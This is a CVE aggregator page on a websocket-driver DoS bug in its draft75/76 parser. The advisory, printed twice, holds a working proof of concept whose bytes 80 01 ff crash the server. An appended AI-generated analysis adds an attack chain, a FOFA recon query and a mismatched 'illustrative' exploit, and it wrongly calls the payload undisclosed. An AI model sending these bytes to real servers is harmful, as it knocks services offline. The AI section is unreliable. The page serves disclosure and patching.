CVE Professor
/
All CVEs
CVE-2026-140004

CVE-2026-140004 — Faye Websocket-driver-node (< 0.8.0) — CWE-248 · CWE-456

CRITICAL CVSS 9.1 ⚡ EPSS 0.6% CVE.org

### Summary An unauthenticated remote client can trigger message corruption and denial of service by starting a draft75 or draft76 WebSocket connection and sending a brief sequence of bytes. The byte sequence is parsed incorrectly and can lead to duplicate messages or server crash. ### Details The `websocket-driver` library supports earlier versions of the WebSocket protocol from before the RFC was standardised, particularly the `draft75` and `draft76` versions. There is a bug in the parsing of messages in these versions that can lead to the server duplicating received messages or crashing when a client sends a specific sequence of bytes over a connection being handled by this parser. No special conditions are required and the input message that triggers this behaviour is very short, so an attacker can easily crash a remote server. To mitigate this, the parser bug has been fixed, and support for draft protocol versions has been disabled by default. Servers wanting to continue to support these versions need to pass the option `allowDrafts: true` when creating a driver instance. ### Proof of concept Given a server using `websocket-driver` to handle WebSocket connections: ```js const net = require('net') const ws = require('websocket-driver') let server = net.createServer((conn) => { let driver = ws.server() driver.on('connect', () => { if (ws.isWebSocket(driver)) driver.start() }) driver.on('close', () => conn.end()) conn.pipe(driver.io).pipe(conn) driver.on('message', (msg) => console.log(msg.data)) }) server.listen(8000) ``` A client can connect and send a set of headers that will pass as a draft75 handshake, followed by two message frames: ```js const net = require('net') let tcp = net.connect(8000, '127.0.0.1') tcp.on('connect', () => { tcp.write([ 'GET / HTTP/1.1', 'Host: 127.0.0.1:8000', 'Connection: upgrade', 'Upgrade: websocket', '', '' ].join('\r\n')) tcp.write(Buffer.from([0x00, 0x48, 0x69, 0xff])) tcp.write(Buffer.from([0x80, 0x01, 0xff])) }) ``` This client will cause the server to emit the message `Hi` twice when it was only sent once. If the first frame is omitted and the client sends only `80 01 ff`, then the server crashes. After upgrading to a patched version, both these situations are handled correctly if `allowDrafts: true` is set. If it is not set then the connection is rejected as a bad request. ### Impact Users running a server using `websocket-driver` to handle WebSocket connections are vulnerable to denial of service triggered by a single frame sent by an unauthenticated client. The only known mitigation is to upgrade to a patched release.

### Summary An unauthenticated remote client can trigger message corruption and denial of service by starting a draft75 or draft76 WebSocket connection and sending a brief sequence of bytes. The byte sequence is parsed incorrectly and can lead to duplicate messages or server crash. ### Details The `websocket-driver` library supports earlier versions of the WebSocket protocol from before the RFC was standardised, particularly the `draft75` and `draft76` versions. There is a bug in the parsing of messages in these versions that can lead to the server duplicating received messages or crashing when a client sends a specific sequence of bytes over a connection being handled by this parser. No special conditions are required and the input message that triggers this behaviour is very short, so an attacker can easily crash a remote server. To mitigate this, the parser bug has been fixed, and support for draft protocol versions has been disabled by default. Servers wanting to continue to support these versions need to pass the option `allowDrafts: true` when creating a driver instance. ### Proof of concept Given a server using `websocket-driver` to handle WebSocket connections: ```js const net = require('net') const ws = require('websocket-driver') let server = net.createServer((conn) => { let driver = ws.server() driver.on('connect', () => { if (ws.isWebSocket(driver)) driver.start() }) driver.on('close', () => conn.end()) conn.pipe(driver.io).pipe(conn) driver.on('message', (msg) => console.log(msg.data)) }) server.listen(8000) ``` A client can connect and send a set of headers that will pass as a draft75 handshake, followed by two message frames: ```js const net = require('net') let tcp = net.connect(8000, '127.0.0.1') tcp.on('connect', () => { tcp.write([ 'GET / HTTP/1.1', 'Host: 127.0.0.1:8000', 'Connection: upgrade', 'Upgrade: websocket', '', '' ].join('\r\n')) tcp.write(Buffer.from([0x00, 0x48, 0x69, 0xff])) tcp.write(Buffer.from([0x80, 0x01, 0xff])) }) ``` This client will cause the server to emit the message `Hi` twice when it was only sent once. If the first frame is omitted and the client sends only `80 01 ff`, then the server crashes. After upgrading to a patched version, both these situations are handled correctly if `allowDrafts: true` is set. If it is not set then the connection is rejected as a bad request. ### Impact Users running a server using `websocket-driver` to handle WebSocket connections are vulnerable to denial of service triggered by a single frame sent by an unauthenticated client. The only known mitigation is to upgrade to a patched release.

CVSS v3.1 Vector Metrics
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H
Attack Vector Network AV:N
Attack Complexity Low AC:L
Privileges Req. None PR:N
User Interaction None UI:N
Scope Unchanged S:U
Confidentiality None C:N
Integrity High I:H
Availability High A:H
EPSS — Exploit Prediction Scoring System
0.6%
30-day probability
In the 52. percentile of all CVEs — higher exploitation probability than most vulnerabilities.
AI Security Analysis & Remediation

🎯 What is this vulnerability?

This vulnerability is a Denial of Service (DoS) and Message Integrity Violation in the websocket-driver Node.js library, specifically affecting versions prior to 0.8.0.

Technical Flaw Analysis:
The core issue lies in the draft75 and draft76 WebSocket message parsers. These parsers are responsible for handling legacy WebSocket handshake and frame structures. The vulnerability stems from a buffer handling error (CWE-456: Missing Synchronization / CWE-248: Uncaught Exception) when processing a specific, short, crafted byte sequence.

1. Input Validation Failure: The parser fails to correctly validate the length or structure of incoming frames against the expected protocol state.
2. State Machine Corruption: When a malformed frame is received, the internal state machine of the parser becomes inconsistent. This leads to one of two outcomes:
* Double Emission: The same message payload is emitted twice to the application layer. This violates the WebSocket protocol's guarantee of ordered, unique message delivery, potentially causing logic errors in the application (e.g., duplicate command execution, state desynchronization).
* Process Crash: The parser encounters an unhandled exception or memory access violation (depending on the Node.js version and V8 engine behavior) that crashes the entire Node.js process. Since websocket-driver is often used in server-side applications (e.g., via ws, socket.io, or custom servers), a crash terminates the service.

CVSS Vector Interpretation:

  • AV:N/AC:L/PR:N/UI:N: The attack is network-based, low complexity, requires no authentication, and no user interaction. An attacker can simply connect to the WebSocket endpoint and send the malicious bytes.

  • C:N/I:H/A:H:

  • * Confidentiality (None): No direct data exfiltration is mentioned. The double-emission might leak internal state if the application logs or processes messages insecurely, but the primary vector is not data theft.
    * Integrity (High): The double-emission of messages directly compromises the integrity of the application's state. If the application relies on message uniqueness (e.g., financial transactions, inventory updates), this can lead to unauthorized state changes.
    * Availability (High): The process crash leads to a complete denial of service for all connected clients.

    ⚡ Attack Chain

    1. Discovery & Reconnaissance

  • Fingerprinting: The attacker identifies that the target server supports WebSocket connections. This can be done by:
  • * Checking for Upgrade: websocket headers in HTTP responses. * Using tools like nmap with the http-headers script or w3af to detect WebSocket endpoints. * Reviewing client-side JavaScript for new WebSocket('wss://target.com/ws') calls.
  • Version Enumeration: The attacker attempts to determine the version of websocket-driver. This is difficult as it is a backend library. However, if the server exposes version information in headers, error messages, or if the application is a known framework (e.g., a specific version of socket.io that bundles websocket-driver), the attacker can infer the version. Alternatively, the attacker can simply attempt the exploit; if the server crashes or behaves anomalously, the vulnerability is confirmed.
  • 2. Exploitation

    The attacker establishes a WebSocket connection to the vulnerable endpoint. The payload is a crafted byte sequence that triggers the parser bug in draft75/76 mode.

    Illustrative PoC (Node.js):
    Note: The exact byte sequence is not publicly disclosed in the CVE description. The following is an illustrative example of how an attacker would structure the attack. The payload variable would contain the specific malformed bytes that trigger the bug.

    const WebSocket = require('ws');
    
    // Connect to the vulnerable WebSocket endpoint
    const ws = new WebSocket('ws://target.com:8080/ws');
    
    ws.on('open', () => {
        console.log('[+] Connected to WebSocket');
        
        // Illustrative malicious payload
        // In a real scenario, this would be the specific byte sequence 
        // that causes the draft75/76 parser to mishandle the frame.
        // For example, a frame with an invalid length field or 
        // a fragmented frame that confuses the state machine.
        const maliciousPayload = Buffer.from([
            0x81, // FIN bit set, opcode 1 (text)
            0x00, // No mask, length 0 (but followed by unexpected data)
            0x00, 0x00, 0x00, 0x00 // Padding or malformed continuation
        ]);
    
        // Send the crafted byte sequence
        ws.send(maliciousPayload);
        console.log('[+] Sent malicious payload');
    });
    
    ws.on('message', (data) => {
        console.log(`[+] Received message: ${data}`);
        // If the bug causes double emission, this event might fire twice for the same logical message
    });
    
    ws.on('error', (error) => {
        console.log(`[-] Error: ${error.message}`);
    });
    
    ws.on('close', (code, reason) => {
        console.log(`[-] Connection closed: ${code} ${reason}`);
        // If the server crashes, this will likely be a sudden close without a proper close frame
    });

    Curl-based Initial Handshake (to establish the WebSocket connection):

    curl -i -N \
      -H "Connection: Upgrade" \
      -H "Upgrade: websocket" \
      -H "Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==" \
      -H "Sec-WebSocket-Version: 13" \
      http://target.com:8080/ws

    After the handshake is established, the attacker would need to use a WebSocket client library (like the Node.js script above) to send the raw binary payload, as curl does not natively support sending WebSocket frames after the handshake.

    3. Post-exploitation

  • Denial of Service: If the server process crashes, the attacker has achieved a DoS. The attacker can repeat this to keep the service down.
  • Integrity Compromise: If the double-emission bug is triggered, the attacker can send a legitimate-looking message (e.g., "add item to cart") that is processed twice. This could lead to:
  • * Duplicate financial transactions. * Incorrect inventory counts. * State desynchronization in real-time applications (e.g., multiplayer games, collaborative editing).
  • No RCE: The CVE description does not indicate Remote Code Execution. The impact is limited to DoS and message integrity.
  • 🌍 Real World Impact

  • Availability (High): The most immediate impact is a complete outage of the WebSocket service. If the WebSocket service is critical to the application (e.g., real-time chat, live notifications, trading platform), this results in a total service disruption.
  • Integrity (High): The double-emission of messages can lead to subtle but serious data integrity issues. In financial applications, this could result in duplicate charges or incorrect ledger entries. In industrial control systems (if WebSocket is used for telemetry), it could lead to incorrect state representations.
  • Confidentiality (None): There is no direct evidence of data exfiltration. However, if the application logs messages and the double-emission causes log flooding, it could potentially mask other malicious activity or lead to log file exhaustion (a secondary DoS vector).
  • Practical Consequences:

  • E-commerce: Duplicate orders or cart items.

  • Real-time Communication: Duplicate messages in chat or video calls.

  • Financial Services: Duplicate transaction processing.

  • IoT/Telemetry: Incorrect state updates in monitoring dashboards.
  • 🛡️ Remediation & Mitigation

    1. Upgrade

  • Affected Versions: websocket-driver < 0.8.0
  • Fixed Version: websocket-driver 0.8.0
  • Action: Update the websocket-driver package to version 0.8.0 or later.
  • npm install [email protected]

    Note: If websocket-driver is a transitive dependency (e.g., via ws or socket.io), you may need to use npm update or check the dependency tree to ensure the updated version is used.

    2. Workarounds

  • Disable Legacy WebSocket Support: If the application does not require support for draft75/76 WebSocket protocols, configure the server to only accept RFC 6455 (modern) WebSocket connections. This may involve changing the configuration of the WebSocket library or the web server.
  • Rate Limiting: Implement strict rate limiting on WebSocket connections and message frequency to mitigate the impact of DoS attacks.
  • Message Deduplication: Implement application-level logic to detect and ignore duplicate messages. This requires a unique identifier for each message and a cache of recently processed message IDs.
  • 3. Detection

  • Web Server Logs: Look for sudden spikes in WebSocket connection attempts or unusual close codes.
  • * Example: GET /ws HTTP/1.1 followed by 101 Switching Protocols and then a sudden 500 Internal Server Error or connection reset.
  • Application Logs: Monitor for duplicate message processing. If the application logs each message, look for identical message payloads being processed in rapid succession.
  • Process Monitoring: Monitor for unexpected Node.js process crashes or restarts. Use tools like pm2 or systemd to log and alert on process exits.
  • Network Traffic Analysis: Use a network tap or proxy to inspect WebSocket frames. Look for malformed frames that do not conform to RFC 6455 or the legacy draft specifications.
  • ModSecurity Rule (Illustrative):
    Note: ModSecurity is primarily an HTTP WAF and may not deeply inspect WebSocket frames after the handshake. This rule is illustrative and may not be effective against the specific binary payload.

    SecRuleUpgrade:On
    SecRuleEngine On
    
    # Detect potential WebSocket DoS attempts by looking for rapid connection attempts
    SecRule REQUEST_URI "@pm /ws" \
        "id:100001,phase:1,log,auditlog,pass,msg:'Potential WebSocket DoS attempt',setvar:tx.ws_attempts=+1"
    
    # Alert if more than 10 WebSocket connections are made from the same IP in 10 seconds
    SecRule TX:WS_ATTEMPTS "@gt 10" \
        "id:100002,phase:1,log,auditlog,drop,msg:'WebSocket DoS attack detected',setvar:tx.blocked=1"

    ⚠️ Urgency

  • CVSS Score: 9.1 (Critical)
  • CISA KEV: No
  • Exploit Complexity: Low (unauthenticated, network-based)
  • Patching Priority: High
Although this CVE is not currently listed in the CISA Known Exploited Vulnerabilities (KEV) catalog, the high CVSS score and low complexity make it a significant risk. Attackers can easily exploit this to cause a DoS or compromise data integrity. Organizations should prioritize patching this vulnerability, especially if the WebSocket service is critical to their operations. If immediate patching is not possible, implement the workarounds (rate limiting, message deduplication) and monitor for signs of exploitation.

[🤖 CVE Professor AI Security Engine]

Target Reconnaissance Queries (FOFA & Shodan)

FOFA Query

app="faye websocket-driver-node"
CVSS Score
9.1 / 10 · CVSS CRITICAL
Weakness Types (CWE)
CWE-248 CWE-456
Affected Products (1)
faye:websocket-driver-node (< 0.8.0)
References & Advisories (2)
Related CVEs
7.5
CVE-2026-144295
websocket-driver is a WebSocket protocol handler with pluggable input and output. Prior to 0.8.3, a server wit
8.7
CVE-2026-144590
adm-zip through 0.6.1 contains a denial of service vulnerability that allows remote attackers to crash Node.js
7.7
CVE-2026-144420
### Summary A ServiceEntry that claims an IP-addressed waypoint's address crashes istiod mesh-wide (ambient m
6.5
CVE-2026-145365
Istio Ztunnel provides an implementation of the ztunnel component of ambient mesh. From 1.30.0 until 1.30.8 an
7.5
CVE-2026-144303
### Summary A WebSocket server implemented using `websocket-driver` can be made to crash by a remote client s
5.3
CVE-2026-143826
A security flaw has been discovered in NocoBase up to 2.3.0-beta.29. This affects an unknown function of the f
10.0
CVE-2026-133300
Incorrect authorization in Azure Center for SAP Solutions allows an unauthorized attacker to execute code over